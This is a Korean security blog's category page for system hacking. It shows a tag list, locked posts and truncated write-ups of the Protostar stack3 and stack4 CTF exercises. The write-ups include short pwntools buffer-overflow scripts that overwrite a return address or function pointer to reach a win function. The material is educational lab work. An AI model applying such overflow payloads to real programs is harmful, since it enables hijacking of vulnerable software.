일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 리버싱
- picoCTF
- Aleph One
- 해킹 공부
- writeup
- 시스템해킹
- 시스템
- Hxd
- Smashing The Stack For Fun And Profit
- 스택
- 버퍼오버플로우
- WEB
- #picoCTF2018
- Protostar
- 카이사르
- picoCTF2018
- general skills
- 리눅스
- #hacking
- grep
- KOISTUDY
- write up
- reversing
- 정답
- forensics
- dreamhack
- cryptography
- CTF
- 번역
- 해설
- Today
- Total
목록시스템 (12)
Security || AI
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
문제 탐색 ghidra로 디컴파일을 해본 결과 stack3문제와 같이 win함수가 존재했다. 그러므로, 해당 문제에서는 return을 win함수로 덮어쓰면 문제가 풀릴 것이다. 문제 풀이 gdb로 main함수의 RET에 브레이크 포인트를 걸고, RET까지의 메모리 거리를 구할 것이다. 먼저, ghidra를 통해 RET까지의 거리가 76인 것을 구하였다. 또한, win함수의 시작 주소는 0x080483f4를 구하였다. 그러므로 A76개와 win함수를 합쳐 페이로드를 작성하였다. from pwn import * p = process('./stack4') win_addr = p32(0x080483f4) payload = 'A'*76+win_addr p.sendline(payload) print(p.recvre..
ghidra를 사용하여 디컴파일을 해본 결과 local_14에 함수의 포인터를 저장하고, 해당 함수를 호출하는 구조이다. gdb를 사용하여 info functions를 한 결과 win이라는 함수를 찾을 수 있었고, puts("code flow successfully changed");를 실행하는 것을 보아 해당 함수로 넘어가게 해야 할 것이다. 이때, local_54의 메모리가 총 64만큼 할당되어 있으므로 페이로드를 64개 + win함수의 주소를 해야한다. 위의 사진을 통해 win함수의 주소는 0x08048424인 것을 확인 가능하다. 위의 정보들을 바탕으로 pwntool로 익스플로잇 코드를 짜면 다음과 같다. from pwn import * p = process('./stack3') win_addr ..